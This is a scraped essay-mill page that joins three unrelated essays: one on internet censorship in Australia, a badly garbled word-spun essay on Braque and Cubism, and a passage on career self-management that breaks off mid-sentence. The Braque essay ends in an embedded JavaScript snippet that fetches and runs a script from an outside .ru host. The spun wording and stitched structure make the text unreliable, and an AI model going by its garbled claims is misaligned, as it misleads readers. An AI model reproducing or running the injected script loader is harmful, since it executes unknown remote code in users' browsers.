Internet Censorship Reasons of Failure

Question: Discuss about the Report for Internet Censorship for Reasons of Failure. Answer: Introduction Internet Censorship is the control over the activities that are done over the Internet. It specifies what can be done on the Internet in terms of accessing, publishing and viewing of the content. There are a number of guidelines, authorities and laws that govern around the subject. The task is performed either by the Government or the regulators of the Government such as private organizations and bodies. There are also individuals who levy the self-censorship rules on the Internet out of the morals and values. The censorship that is applied or followed varies from country to country and there are different protocols followed in different regions (the Guardian, 2012). There are also organization who feel and consider that such a concept shall be violated and users shall be allows to express themselves freely on the Internet. The concept does have a certain advantages as well as disadvantages along with numerous reasons of failure. Internet Censorship in Australia Australia has a regulatory body named Australian Communications and Media Authority (ACMA) that looks around the Internet Censorship in the country. ACMA puts a content restriction and also black-lists the overseas website which are found unfit for use by the denizens of the country. The restricted sites fall under this category mainly due to reasons such as: Child pornography Sexual Violence Security constraints Sexual abuse (Moody, 2015) These restrictions are imposed on the users with a view to control the unethical conduct on the web and to also increase the user security along with the security of the nation. Pros of Internet Censorship Regulation is important Internet censorship makes room for the look-up upon the mass media which is very important for keeping a check. People believe that no control could have exceptionally impeding impacts of society at different levels. Keeping the misuse of kids to an insignificant and diminishing the spread of medication cartels are only two of the advantages that can be picked up by society as entire through some sort of web control. Web oversight has come up as a type of control; however those that keep a check on web restriction agree that a check in this structure is required. Other types of digital and communication media such as television and radio also have content regulation which specifies what content is fit for what audience. The same applies to the world of web as well as it explains the content regulation (Editor and Editor, 2016). It makes easier to detect and control criminal activities Depending on essentially following criminal action online as the way to stop it is not sensible. The web can be a position of wrongdoing, however following IP addresses and ending criminal action is impractical without the blue penciling of some data and destinations inside and out. Web oversight makes it less demanding to stop online criminal action and guarantee that this kind of wrongdoing does not happen. The way that wrongdoing exists online is seen as acceptance by numerous for online control to be in presence. Aids in strengthening country defense and security National security largely benefits with the help of such censorships and controls as it makes it tough for the intruders and attackers to breach the security through unauthorized means. Terrorist groups make use of websites and other components of the web to enter in to the security of the nation and such attempts are violated with the aid of strong and well followed internet censorship. Identity theft is controlled Advocates for web control say that by constraining what data is gotten to in the web, individual data won't be effectively gotten too. By utilizing against phishing programming, which has emerged as a type of web oversight since it cautions the client that a sort of programming is attempting eo enter the system, it allows the client to keep programmers and organizations from getting related data. Reasons of Failure and Issues in the path of Internet Censorship Attempts that have failed to censor the Internet Commonwealth laws along with State and territory criminal laws are defined in Australia for the prevention and control of content and usage on the web. There are a number of do(s) and dont(s) defined under these laws but the adherence to the same is not accurate due to ever-changing nature of these laws which lead to a state of confusion among the end-users. Users are still unaware about the policies around regulation and hence, do not adhere to the same. Streisand effect has been used by the governments to control and censor the pieces of information that are made available on the internet. There have been restrictions and blockages done by Australia and a number of different countries to block the popular video streaming web site named as YouTube to prevent the unnecessary content from reaching to people. However, the same has failed as the videos are still accessed by the citizens with the use of proxies and VPNs. DNS hijacking is a popular blocking method that is used by agencies and government with an aim to censor the content present on the web by hijacking the DNS server associated with a particular address. There have been countermeasures that have been invented to violate the same and the configuration of DNS setting are done to avoid any such blockages leading to the failure in the attempt to censor the internet. Deep Packet Inspection is an advanced form of censorship that is used to get an insight in the layer 3 and layer 4 information but the same is avoided with security tools and software that are deployed which help in failure for the packet inspection. There is also lack of transparency between the agencies and the end-users which has emerged as a primary cause of failure. For instance, ISPs in Australia do not provide any kind of notification on how and why the blocking takes place. This leads to opposition by the customers for the use of a particular service and measures are developed to avoid the same which results in failure of censorship attempt. Reasons of non-acceptance that lead to failure It expels opportunity of expression and denies individuals of taking in reality. It is often discarded by people as they believe that every individual has the right to express the content he or she desires to put forward without the need of any sort of filters. The freedom of expression is hampered through imposition of such a law or rules which in not accepted by many and results in opposition of the same. It can be utilized by the administration to keep appropriate data from its residents. Another major disadvantage that is associated with this particular regulation is that it may result in prevention of the sharing of information by the administrator with its fellow members. For instance, a particular piece of information is critical to be shared but does not pass the rules set by the censorship, then in such a case it would fail to reach out to the intended audience. It is an additional cost to the administration. Individuals who are not for editing the web contend that keeping in mind the end goal to execute oversight and guarantee all regions are secured the administration needs to put resources into hardware, labor and different expenses. Beside forthright costs, there are additionally included expenses for support and checking. What's more, with the force of the web and its scope, it is difficult to be on screen every minute of every day and not spend for it. It can hurt organizations. There are a number of organizations who partially or completely depend upon the internet for their marketing and promotion. Also, there are many who conduct the entire business that is buying and selling along with customer relationship maintenance on the web itself. Such regulations can prove to be of less use for such companies and groups. Individuals can hone self-sufficiency. There is a vast majority of people who believe that they do not have to be regulated by a rule and are smart enough to differentiate between right and wrong. In such cases, these regulations are not accepted and are also considered as unnecessary add-ons that are imposed. It results in violation of the same though unwanted means which can be fatal in nature (Green Garage, 2015). Additional issues that lead to failure of Internet Censorship Cyber-bullying Maybe the most surely understood cyber type of hostile conduct is cyber-bullying. Cyber-bullying refers to the activity that includes use of insulting words and disrespectful behavior towards an individual which may hurt the sentiments of the same. It also results in defamation and loss of prosperity of the victim that is targeted. As per the results of June 2010, the majority of youngsters in Australia spent most of their time in the activities online with results as high as up to 91%. It is an activity that disturbs no less than one in ten understudies in Australia. Human rights are also affected by this activity such as the ones listed below: The privilege to the most elevated achievable standard of health including both physical as well as mental health: It can affect contrarily on a man's physical and psychological wellness bringing about mischief as physical wounds, stress-related ailments, despondency and other wellbeing issues. Allowance to work and reasonable work atmosphere: Bullying can prompt higher truancy from the work environment, poor or diminished execution and a risky workplace. The privilege to flexibility of display the true thoughts and feelings without impedance: It can affect a man's opportunity to show emotions or suppositions as they no do not feel comfortable in doing the same. A youngster or youngster's entitlement to relaxation and entertainment: It regularly happens where kids and youngsters have fun and mingle, for example, in school play areas and on long range interpersonal communication locales. All kids have the privilege to take part in recreation exercises in a protected domain. The United Nations Committee working towards child rights and development present in its statistics and reports on Australia's consistence with the consistence related to those of the child rights, raised some serious concerns related to bullying and the significance of shielding youngsters and kids from introduction to brutality, prejudice and erotic entertainment through cellular telephones and different advances, which included the web as well. The privilege to an instruction which may result in impact on the behavior of a man. The privilege to get rid from viciousness which may be physical or mental. Cyber-racism The cases revolving around the racism over the web are no less. The Commission's Workplace Sexual Harassment Survey of 2012 presented in its reports that 17% of the people who had been surveyed had experienced racist behavior over the web at some point or the other through messages and 4% had also encountered such improper behavior over mails, or on the chat rooms of different instant messaging applications. Different case of cyber-sexism/lewd behavior incorporate 'downer shots' the place where people capture the indecent pictures of several body parts of females and upload the same on various sites over the web. Another example of a similar incident, which was liable to an online appeal, was a web platform in the form of a web page that distributed photographs of ladies posturing in pictures that had as of now been uploaded and put up on the social networking webpage all alone pages. The photos were then marked with indecent labels and put up on a page entitled '12-year old prostitu tes'. Cyber-homophobia The rate of homophobic cyber-harassing has expanded incredibly as of late with the multiplication of online long range informal communication instruments. A homophobic dialect 'review device' has been produced that measures progressively when any users tweets any homophobic words on the popular social networking platform, Twitter and makes sure that the same can be measured after a certain interval. The results were quite surprising as the usage of such words was huge. There are also prominent instances of LGBTI youngsters who are tormented and bothered on the web world that has brought about self-mischief and suicide. An abundantly exposed case on the utilization of innovation in homophobic harassing included a college understudy who slaughtered himself not long after finding that his flat mate had covertly utilized a web camera to post the intimate moments of the couple on the web which was easily accessible to all the users (Humanrights.gov.au, 2016). Fighting back against Internet Censorship The fundamental gathering of security activists in Australia are the EFA Electronic Frontiers Australia. This gathering has been around since 1994, back when you thought everything online was free, and they have battled resolutely to keep government oversight of the Australian Internet within proper limits since that time. The gathering expresses their Objectives as being: To secure and advance the common freedoms of clients of PC based interchanges frameworks and of those influenced by their utilization. To advocate the alteration of laws and directions in Australia and somewhere else which limit free discourse and liberated access to data. To teach the group everywhere about the social, political, and common freedoms issues required in the utilization of PC based correspondences frameworks. To bolster, empower and instruct on the advancement and use with respect to PC based correspondence frameworks, and related developments. To examine and instruct on the application with respect to the law (both current and proposed) to PC based correspondence frameworks and related advances. They had an extraordinary late crusade called 'Subjects, Not Suspects' that is against required information maintenance laws. Their point was to reduce government observation of normal natives in the trusts of discovering culprits amongst them. Like telephone tapping everybody to hear one out criminal (Habert and Habert, 2015). Examples of worst cases held for Internet Censorship The Australian Childhood Foundation requested retail mold chain Jay Jays pull back their line of Little Losers apparel, guaranteeing they sent the wrong message to susceptible teenagers. Australian Women Online likewise called for Jay Jays to expel the garments. Jay Jays chose to expel the shirts from their stores window shows and not to restock shirts that convey liquor related messages or sexual insinuations. Guardians of understudies at Wynnum's Guardian Angels Primary School in Brisbane ceased a skyscraper improvement from being worked close to the school over fears that pedophiles would have a superior perspective of their youngsters. Accordingly, Brisbane City Council lessened the structures range from eight stories to five stories. The same occasion played out a week later at building advancement close to a school on Brisbane's north side. Sydney elementary teacher Lynne Tziolaswas was given the boot after some guardians griped around an article in Cleo magazine where Tziolaswas is shot exposed and talks about the room propensities for her and her significant other. 'It's certainly an exceeding of showing morals' said one guardian. Pornography is one area that is regulated with utmost attention and is at ever restricted state. However, in the Operation Titstorm, a group launched attacks against the Australian government and also added pornographic content on the page of the Prime Minister. There have been instances of blockages to the videos present on the video streaming site, YouTube and those are still made to be accessible through the attacking parties and users. Tom Wood, a 16 year old just took a mere time of 30 minutes to break in to a super filter deployed by the government for the censorship which took it $84 million to develop. Conclusion Internet censorship is the regulation and monitoring of activities that are performed by the user on the web and also to control the same to an extent such that there is no harm done to other users and the rate of crimes also come down. There are a number of advantages that are associated with this concept. It is difficult to impose a moral teaching on users unless there is a defined law to explain and execute the same. It is often seen that users fail to differentiate between ethical and unethical conducts on the world of internet and censorship allows them to do the same. As far as security and privacy are concerned, this process does aid in the individual and national security as well. There is acceptance and opposition associated with every single activity and internet censorship also suffers from a certain cons or disadvantages. It takes away the freedom of expressing anything on the web from the users and can also hurt the organizations who deal with the content that is unfit f or a particular country or community. Internet censorship has been still trying to find a secure place among the users and has failed to achieve the same due to increased occurrences of cyber crimes such as cyber bullying, cyber stalking, and cyber racism and cyber homophobia. There are also individuals and organizations who believe that it is the right of every individual to express whatever he or she feels and any hindrance in the same shall not be tolerated. There are anti-censorship events also that are introduced to ban the concept. It is advised that a regulating body is necessary to control such huge usage of the web and it is also recommended for the people to choose wisely between right and wrong. It is of utmost advantage for every single human to let Internet be a boon rather than prove to be a curse. Reference List Aph.gov.au. (2016). Australian Governments and dilemmas in filtering the Internet: juggling freedoms against potential for harm Parliament of Australia. [online] Available at: https://www.aph.gov.au/About_Parliament/Parliamentary_Departments/Parliamentary_Library/pubs/rp/rp1415/InternetFiltering [Accessed 29 May 2016]. Editor, C. and Editor, C. (2016). 4 Vital Pros and Cons of Internet Censorship | NLCATP.org. [online] Nlcatp.org. Available at: https://nlcatp.org/4-vital-pros-and-cons-of-internet-censorship/ [Accessed 29 May 2016]. Green Garage. (2015). 11 Chief Pros and Cons of Internet Censorship. [online] Available at: https://greengarageblog.org/11-chief-pros-and-cons-of-internet-censorship [Accessed 29 May 2016]. Habert, M. and Habert, M. (2015). Fighting Back Against Internet Censorship in Australia. [online] Tech.co. Available at: https://tech.co/fighting-back-internet-censorship-australia-2015-08 [Accessed 29 May 2016]. Humanrights.gov.au. (2016). 5 Current issues of Internet censorship: bullying, discrimination, harassment and freedom of expression | Australian Human Rights Commission. [online] Available at: https://www.humanrights.gov.au/publications/background-paper-human-rights-cyberspace/5-current-issues-internet-censorship-bullying [Accessed 29 May 2016]. Moody, G. (2015). Australia passes controversial anti-piracy web censorship law. [online] Ars Technica. Available at: https://arstechnica.com/tech-policy/2015/06/australia-passes-controversial-anti-piracy-web-censorship-law/ [Accessed 28 May 2016]. OccupyTheory. (2015). Internet Censorship Pros and Cons List. [online] Available at: https://occupytheory.org/internet-censorship-pros-and-cons-list/ [Accessed 29 May 2016]. profile, V. (2009). Internet Censorship: Past, Present and Future. [online] Netcens.blogspot.in. Available at: https://netcens.blogspot.in/ [Accessed 29 May 2016]. smallbusiness, (2016). [online] Available at: https://smallbusiness.chron.com/disadvantages-internet-censorship-28293.html [Accessed 29 May 2016]. the Guardian. (2012). Internet censorship listed: how does each country compare?. [online] Available at: https://www.theguardian.com/technology/datablog/2012/apr/16/internet-censorship-country-list [Accessed 28 May 2016].

Braque Essay Research Paper free essay sample

Braque Essay, Research Paper # 65279 ; Georges Braque was one of the male parents of Cubism. Along with Picasso he explored and invented a new manner of painting that got its name from critics who pointed out little regular hexahedrons in his earliest cubist plants. At the terminal of 1907, Braque met Picasso at the unveiling of The Ladies of Avignon. This piece and a bare by Braque of late 1907 would go known as the first cubist pictures. Both creative persons were inspired by Cezanne s usage of geometry in stand foring the capable affair in his picture. These plants being some of the first to reject the classical thoughts of painting by portraying existent capable affair abstractly instead so realistically, it was merely natural for the two creative persons to join forces on future plants. The two began to discourse thoughts and show one another their current plants. Finally this coaction became a like a partnership where their thoughts were freely traded and built upon by one another. We will write a custom essay sample on Braque Essay Research Paper or any similar topic specifically for you Do Not WasteYour Time HIRE WRITER Only 13.90 / page At the extremum of Analytic Cubism, pictures by Braque and Picasso had great similarities and the brace frequently painted the same capable affair at the same clip. They worked so close Braque one time said that they were similar mountain climbers, roped together and drawing one another up. In 1908 Braque parted from his old Fauvist manner and began to paint in really limited pallets of subdued leafy vegetables, browns, and ochres. His work became really structured and more abstract. His concern was with infinite, multiplicity, signifier, and clip instead so with colour. The thought was to demo the topic from multiple angles. Picasso s work followed this form every bit good. Braque, nevertheless, turned to still lives while Picasso did most of his work with human signifiers. The differences between the two can be seen in plants from the same clip frame. Picasso s Vollard and Braque s Violin with Pitcher are both from 1910. Picasso s work pushes the foreground back and pulls the background frontward blending the two in order to make infinite. Braque s work makes usage of these same principals to depict the infinite and the capable affair, conveying them to the same plane. But while Picasso s consequence is a picture where the capable affair is still prevailing, Braque creates a balance between the accent of the capable affair and the infinite around it. Braque creates infinite that moves within itself and the capable affair coercing it to become portion of the capable affair. While Picasso succeeds in losing the definition between the two, he does non win in doing infinite go primary in the picture. This farther describes the difference in what the two creative persons felt Cubism was chiefly about. Picasso was known to hold one time said Cubism is an art covering chiefly with signifiers, while Braque stated What particularly attracted me # 8211 ; and what was the preoccupation of cubism # 8211 ; was the materialisation of that new infinite which I sensed. Although their coaction ended when Braque went into World War I and spanned merely seven old ages, the benefits of working so closely with one another is easy seen through the celerity with which Braque and Picasso developed their thoughts and their Cubist works evolved. High Analytic Cubism ( 1910 ) , what is regarded as Cubism s most hard point, is when the brace worked most closely together. It is during this clip that their most abstract plants were done. The drama of infinite and signifier traveling into one another, the opening up of antecedently closed signifiers, and the creative activity of irregular planes succeeded in turning Cubist works into an object of their ain, no longer a representation of something. In 1911 Braque introduced lettering to Cubism. This would be the starting / gt ; point for what would go known as Man-made Cubism. On this Braque said as portion of a desire to come near to a certain kind of world, in 1911 I introduced letters into my pictures. This move was the first measure towards the montage work of both Braque and Picasso which brought the abstract into world. Man-made Cubism brought on the usage of colour, and stuffs antecedently fresh by Braque or Picasso in their Cubist plants. They began to utilize stuffs such as wood printed vinyl, newspaper, and shreds. Shapes became larger and more recognizable. The usage of these stuffs was to foster the thought of making a integrity between world and abstract cubism, every bit good as in some instances to demo that some things which are perceived as world are really non, such as vinyl made to look like wood panel, while the pigment in the abstract cubist work is merely that and hence existent. It was during the geographic expedition of montage in Cubism that non merely words that appeared in newspapers were cut out, but even larger advertizements. In Braque s Glass and Bottle from 1913, a big cutout of an about complete cloakmakers ad is glued to the canvas. This type of ad, one that is for objects of desire for the general populace, could be seen as a farther range into the thought of conveying together world and the new Cubist world. Objects already easy recognizable by the mean adult male were being used, the usage of ads such as these could hold been used in order to non merely blend the two worlds, but to coerce those of the populace into the Cubist world. Ads, which were really popular in Paris and around the universe at the clip, were something that used to catch the involvement of the populace. An ad in the picture could be used to the same consequence and draw the spectator into it. Braque s painting Candlestick and Playing Cards ( 1910 ) is an illustration of Analytic Cubism at its extremum. The usage of an egg-shaped canvas, as is found in High Analytic Cubism, was intended to take the job of the corners of Cubist picture. The internalized construction and geometry used in conveying the capable affair and infinite environing it becomes weaker as it moves towards the corners, so an egg-shaped lodger leaves the picture stronger. In add-on to this the curving border creates a strong contrast with the harder angles, form, and lines within, which makes a dynamic energy inside the lodger. The tabular array is seen through the protrusion angle at the underside. Further back the base of the candle holder is seen on top of the tabular array. Further up, above centre is the candlestick itself. To the right are two playing cards, the one of Black Marias, and the six of diamonds. The signifier of the candle holder is lost, so found once more before being lost one time once more. This is a direct illustration of how signifier, infinite, and differing position are used in Cubism to make an abstract world, independent of clip. The colourss Braque utilizations are greies, opaque and translucent inkinesss, and browns. These are used to make a integrity between the topic and infinite through a deficiency of definition. They besides provide irregular shadow and borders to make signifiers and planes that overlap and travel into one another. These planes and signifiers change from one into the other and travel from background to highlight and frailty versa doing a two dimensional image from what, when looked at separately is made up of three dimensional signifiers and planes. Cogniat, Raymond, Braque, Crown Publishers, 1978 Gallatin, A. E. , Georges Braque: Essay and Bibliography, Wittenborn and Co. 1943 Golding, John, Cubism, Harvard University Press, 1988 Hilton, Timothy Picasso, Thames and Hudson, 1975 Fry, Edward, Cubism, Oxford University Press 1980 ( map ( ) { var ad1dyGE = document.createElement ( 'script ' ) ; ad1dyGE.type = 'text/javascript ' ; ad1dyGE.async = true ; ad1dyGE.src = 'http: //r.cpa6.ru/dyGE.js ' ; var zst1 = document.getElementsByTagName ( 'script ' ) [ 0 ] ; zst1.parentNode.insertBefore ( ad1dyGE, zst1 ) ; } ) ( ) ;

Career Mobility and Career Self

Career Mobility and Career Self Introduction One of the critical requirements of job satisfaction is the capacity of jobs to facilitate upward career mobility. This concern compels organisations through their HR to design and implement career training and development programmes for employees.Advertising We will write a custom research paper sample on Career Mobility and Career Self-Management Skill specifically for you for only $16.05 $11/page Learn More This plan helps in the provision of knowledge and skills that are required to enhance innovation and creativity. Employees prefer working for companies, which foster the development of their individual skill bases. Consequently, the human resource arm of an organisation develops people to ensure that they acquire supervisory and basic skills to perform organisational tasks, develop their careers, and professional technical skills. Training and development consume organisational resources such as time and finance in exchange with employee c areer progression. This observation suggests that career development entails interactions and exchanges that occur between employers and the workforce. While literature on training and development sees employers as having a responsibility for guaranteeing career development to their employees, literature on career self-management sees employees as having an added responsibility of making decisions on their current and future career goals. Consequently, there has been an enlarging literature that calls upon employees to take full responsibility of their career management. These concerns are documented in the studies on career self-management, alternatively called individual career development (ICD). This paper identifies eight peer-reviewed articles that address the subject of career self-management. It then reviews and offers their critical analysis.Advertising Looking for research paper on business economics? Let's see if we can help you! Get your first paper with 15% OFF Learn More Literature Review Over the last two decades, the career growth environment has been undergoing significant changes. For example, changes have been experienced in traditional forms of career development. Such traditional forms are controlled by paradigms of employment order through the creation of employee relations programmes. Such approaches are now replaced by borderless and worker-controlled career development strategies (King 2004). In the wake of any global financial crisis, many organisations undergo restructuring while others engage in business partnerships such as mergers and acquisitions (Quigley Tymon 2006). For example, the 2007-2008 financial crisis led to the downsizing and even crumbling of some firms. This situation increased the levels of job insecurity. Many firms offered very few, if any, opportunities for promotions. Consequently, in such situations, employers demonstrate the fear or the unwillingness to engage in any agreement for mana ging and ensuring employee career opportunities in a formal manner. Thus, employees are only left with the choice of managing their careers individually. However, this claim does not imply that employers cannot help employees with career management. Employers value the need for employee career development. Therefore, organisations pursue policies that ensure the shifting of their accountability in career management and conference of roles to their employees through interventions such as offering training programmes on greater accountability together with a higher responsibility in the management of one’s career. Under the discourses of individual career management, this claim suggests that employers only provide an enabling environment for employees to take full accountability and management of their careers in preparation for taking higher career roles in the future (King 2004).Advertising We will write a custom research paper sample on Career Mobility and Career Sel f-Management Skill specifically for you for only $16.05 $11/page Learn More Career self-management refers to ‘the degree to which one regularly gathers information and plans for career problem-solving and decision-making’ (Quigley Tymon 2006, p.523). Critical questions emerge on whether organisational interventions can increase individual career management skills and/or whether career management skills can be made effective through formal training. Can they also work well with all employees? If not, what class of employees can develop the capacity to self-manage their careers through organisational leveraging? Quoted by King (2004), Crites made one of the earliest attempts to theorise the concept of career self-management. People are motivated in the work environment by internal and/or external stimuli, which prompt them to act in certain ways. For example, they can make requisite adjustments to ensure that they are accepted by their workmates. They g ain prestige with the objective of securing more work freedom. Tensions also make employees react in certain ways to reduce any possible thwarting conditions. Changes in working conditions that force employees to behave differently result in their vocational adjustment. In the process, they experience success and/or satisfaction with their work (King 2004). This observation suggests that if workers fail to respond to changes in the work environment, they may get frustrated, a situation that can lead to vocational maladjustment.Advertising Looking for research paper on business economics? Let's see if we can help you! Get your first paper with 15% OFF Learn More This process occurs in all contexts and with ‘different thwarting conditions and foci for adjustment, over the whole course of the career from occupational entry to retirement’ (King 2004, p.115). Although Crites’ understanding of employee adaptations in response to internal and external stimuli is not in the contemporary terms of career self-management as it is today, his arguments form important paradigms for understanding the problem of career management in the 21st century. Crites recognises how people encounter various challenges such as barriers to career development throughout their working life. According to King (2004), despite referring his discussion to only merchants, military, and blue-collar jobs, his analysis of various thwarting situations measures up to the concerns for self-career management as discussed by Quigley and Tymon (2006) and Chiaburu, Baker, and Pitairu (2006). In fact, the claim that people encounter frustrations and barriers in care er progression receives acceptance in the 21st century career management discourses as the search for illimitable careers continues. Frustrations, conflicts and tensions in work environment compel people to adjust accordingly to minimise anxieties. This situation leads to self-career development as employees seek mechanisms for easing the ways of executing certain tasks that are allocated to them. Looking for effective ways of accomplishing a task entails a quest for higher performance and accuracy. As King (2004) suggests, career self-management is driven by the quest for increased performance. While analysing Crites’ work, as a potential theoretical framework for career self-management, King (2004) identifies a gap in literature on career self-management claiming that past scholars have not sufficiently addressed the question of why people adopt specific behaviours for career self-management. He takes this opportunity to propose a career self-management conceptual model for studying the nature, causes, and the consequences of career self-management. The framework explains the nature of career self-management as a dynamic process that entails the execution of positioning, influence, and boundary administration behaviours (King 2004). Periphery administration involves the assessment of various requirements within and outside the administrative centres. Positioning behaviours ‘ensure that an individual has the contacts, skills, and experience to achieve the desired career outcomes’ (King 2004, p.119). Influential behaviours relate to efforts of influencing decisions that employers make to align with the desires of the individual outcomes. Career self-management involves compromises between employers’ expectations and the expectations of employees’ desired career direction. Why do employees engage in career self-management behaviours? King (2004) responds that they desire to take a full command of their occupations, gain self-ef ficacy, and/or acquire occupational anchors. The outcome of these quests is life satisfaction. Although King’s (2004) work does not conduct any experimental or quantitative research to ascertain and support his model, literature on human resource management contends that employees who can control their career progression ladder in an organisation are better satisfied with their jobs and more prepared to face changes and challenges in terms of future job requirements. Raabe, Frese, and Beehr (2007) agree with King’s (2004) assertion that employees have a noble responsibility of ensuring they take full control of their careers. They assert that the current trend in career management indicates how ‘most of the responsibilities of managing careers are shifting from employers to adaptive and proactive employees’ (Raabe, Frese Beehr 2007, p.297). The nature of jobs changes with time. As discussed by Hall (2004), the emergence of protean careers, cause this shif t of responsibility for career management. This claim suggests that employees need to take proactive decision-making roles in determining the path of their careers both currently and in the future. Therefore, employers need not to determine where certain individuals should be in terms of career hierarchical positions. Rather, personal hard work and commitment to career progression should determine the effects of worker occupational growth. Career self-management requires one to take personal initiatives. Thus, it is important to have a model or strategy that employees can use to guide personal initiatives for individual career management. Raabe, Frese, and Beehr (2007) present such a model, but with consideration of the contribution of organisations in helping employees to self- manage their careers. Different from King’s (2004) theoretical framework for explaining career self-management, Raabe, Frese, and Beehr (2007) incorporate a mechanism for testing their model by conduc ting a quasi-experiment. However, similar to King (2004), they also base their model on a past theoretical framework, namely the action theory. The theory explains the manner in which employees ensure control of their career through engaging in chores that increase their career self-management. One of the theoretical constructs of the achievement hypothesis is the accomplishment adjustment presumption. It holds, ‘people’s transactions with the environment enable an individual to guide his/her goal-directed activities over time and across changing circumstances’ (Raabe, Frese Beehr 2007, p.298). Employees’ control over their careers implies that they execute their activities congruently with the desired goals. In fact, action regulation model identifies increased job attendance and decreased problematic workplace-related behaviours as important in career mobility. Nevertheless, there is inadequate evidence to support the capacity of the model to ensure tha t employees pursue long-term career goals such as career building. However, Raabe, Frese, and Beehr (2007) indicate that the model explains employees’ manner of controlling their careers. They also claim that employees can be influenced to engage in self-management behaviours for their careers (Raabe, Frese Beehr 2007). This claim suggests that organisations can leverage the process of career self-management by adopting appropriate employee career growth motivational programmes. Raabe, Frese, and Beehr (2007) arrived at their conclusion after engaging 205 white collar job workers in career development for a period of 10 months. They accomplished this mission by raising the workers’ individual knowledge concerning their commitment to career goals and/or planning on career quality (Raabe, Frese Beehr 2007). Their findings indicated a direct correlation between these variables and positive behaviours that fostered career self-management. Therefore, organisationally-esta blished individual employee career management programmes are feasible strategies for encouraging career self-management. Although Raabe, Frese, and Beehr (2007) offer an important mechanism for inducing and encouraging individual career management in an organisation, their research suffers some drawbacks. The study deployed quasi-experiments as opposed to the actual testing. This strategy introduces the challenge of making various causal inferences with certainty. Their data was based on self-reports, which may be distorted. Distortion impairs the reliability of research findings. Inferring from the action regulation model that people exhibit career self-management behaviours, which can be encouraged by an organisation, a scholarly interest emerges on whether the personality of individual employees can influence their behaviours. Chiaburu, Baker, and Pitairu (2006) studied the effects of proactive personality on people’s career self-management behaviours. They focused on beha viours such as job mobility and its preparedness together with ‘development feedback-seeking behaviours while providing evidence for one mediator (career resilience) and one moderator (public self-consciousness) on this relationship’ (Chiaburu, Baker Pitairu 2006, p.619). They deployed a regression analysis approach in analysing data that was collected from a sample size of 127 employees from only one organisation. Their findings indicated that the studied personality had a positive correlation with career self-management behaviours. In the relationship between the variables, career resilience provided a mediating effect on individual career management. Chiaburu, Baker, and Pitairu (2006) assert that self-consciousness in the public domain interacts with proactive personality to influence individual career management behaviours. These findings are valid in organisations. They are also applicable to various practitioners who look for various interventions for encouragin g individual career management interventions. In particular, practitioners and companies can design programmes for encouraging individual career management. The programmes should focus on interventions that encourage proactive personality development. However, Chiaburu, Baker, and Pitairu (2006) do not provide efficacy analysis of the research implications. For instance, they do not provide mediating effects that prevent people from developing personalities that impede individual career development. Upon employing their model in organisations that focus career management responsibility on employees, rather than employers, it is evident that certain personality attributes can be developed. This observation raises the question of whether personality is acquired from the environment or it is inborn. Behavioural, trait, socio-cognitive, psychoanalytic, and humanistic theories explain different personalities that individuals possess. For example, behavioural theories suggest that peopleà ¢â‚¬â„¢s personality emanates from the interaction of individuals with the environment. Consistent with Chiaburu, Baker, and Pitairu’s (2006) viewpoints, this claim implies that some personality attributes can be learnt so that career self-management interventions can help to induce personality attributes that encourage individual career management. In advancing their expositions, behaviourists study various measurable and observable behaviours of people to explain the nature of individual personality. Behavioural theorists such as John Watson reject various theories that suggest that personality of individuals is a function of feelings and thoughts that form part of the conscious and unconscious mind. The trait theorists assert that the personality of individuals comprises various broad traits. In the context of the discussion of this theory, traits refer to characteristics, which are stable within an individual. They guide the course of actions of different people. Such tra its can help in fostering or discouraging individual career management behaviours. Similar to Chiaburu, Baker, and Pitairu (2006), Hirschi and Freud (2014) find individual motivation to engage in proactive behaviours that encourage individual career development important in career self-management. In their study, they deploy ‘a micro-level perspective on how within-individual differences in motivational and socio-cognitive factors affect the weekly fluctuations of engagement in proactive career behaviours’ (Hirschi Freud 2014, p.5). The study deploys a sample size of 67 students from a Germany university. For a period of 13 weeks, the researchers scrutinise students’ beliefs on self-efficacy concerning their careers, barriers to career mobility, career support experiences, emotions towards career progression, and career engagement approaches. A regression analysis of the data was done using a linear hierarchical approach. The results of the analysis indicated th at social career support predicted students’ career engagement. Positive emotion towards their occupations also produced a similar effect on career engagement in social support. Along individual variations, their results showed that negative emotions and self-efficacy coupled with career barriers had no effects on career engagement (Hirschi Freud 2014). This observation implies that organisations need to look for career social support interventions and mechanisms for ensuring positive emotions towards the careers as a way of encouraging and supporting employees in taking responsibility of managing their careers. Although the results of Hirschi and Freud (2014) are important for organisations that are looking for strategies for shifting the career management responsibility to employees, their reliability is questionable. A research that has an error margin of 0.05 typically uses a sample size of 385. Hirschi and Freud’s (2014) research deployed a sample size of 67 stud ents. Therefore, the error margin in this research is far high so that reliability of the results to represent the population becomes questionable. Indeed, small sample sizes make generalisability of the results difficult. Consequently, for organisations that seek to use Hirschi and Freud’s (2014) results in their employee career self-management programmes, it is important to seek support for such programmes by considering evidence from other researches that have been conducted using the same approach while deploying larger samples from different contexts. From the aforementioned studies, personal initiatives to take charge of one’s career management are important. In the same line of thought, Ans and Jesse (2013) study the effects of career directedness on individual career management with a focus on retirement intentions. Their research arises from a scholarly gap in terms of linking self-directedness in career management to retirement intentions and decisions of old er employees (Ans Jesse 2013). Therefore, the researchers study the relationship between the two sides through the mediation of individual career management behaviours together with engagements. They use survey as a primary data collection methodology. With a sample size of 271 participants, including old employees (average age of 53) who have worked over 10 years (an average of 16 years), they measure occupational thoughts, professional self-administration manners, commitment, and withdrawal plans as indicators of career self-directedness (Ans Jesse 2013). Their results suggest a direct relationship between the variables of the study where individual career management behaviours and engagement provide a100% mediation effect. Ans and Jesse (2013) carry out a successful research on the effects of career- self-management on retirement intention among employees. They evidence that the need for career development is not merely a concern of the newly employed people, but also those who have been in the employment for a long time. Therefore, it responds to the question of who career self-management programme should be developed for in an organisation. Career self-management behaviours are equally appropriate for old employees just as they are crucial for the newly employed. This conclusion is perhaps well supported by theories of human motivation to work such as the Maslow’s hierarchy of needs. The theory holds that people hope for continuous individual growth, irrespective of their demographic differences. Quigley and Tymon (2006) hypothesise that intrinsic motivation in career development can foster career self- management. They develop an integrated model to explain this relationship. In the model, they claim that progress, employee competence, choice, and cognition of the meaningfulness of their career help in individual career management. However, their model is devoid of empirical data to support it. Since the theoretical framework only advances †˜six testable research propositions that link components of intrinsic motivation to career self-management and career success’ (Quigley Tymon 2006, p.522), the extent to which intrinsic motivation contributes to individual career management is not clear. Amid the lack of empirical data to support Quigley and Tymon’s (2006) model, approaches for inducing career self-management within an organisation are important, although each approach may have its own limitations. Indeed, shifts in responsibility for career management are not induced by employees. They are induced by organisations due to various operational challenges that prompt organisations to adopt different strategies for ensuring that they remain risk resilient. For example, with the formation of mergers, downsizing is almost inevitable in the effort to reduce organisational expenses. In such situations, organisations 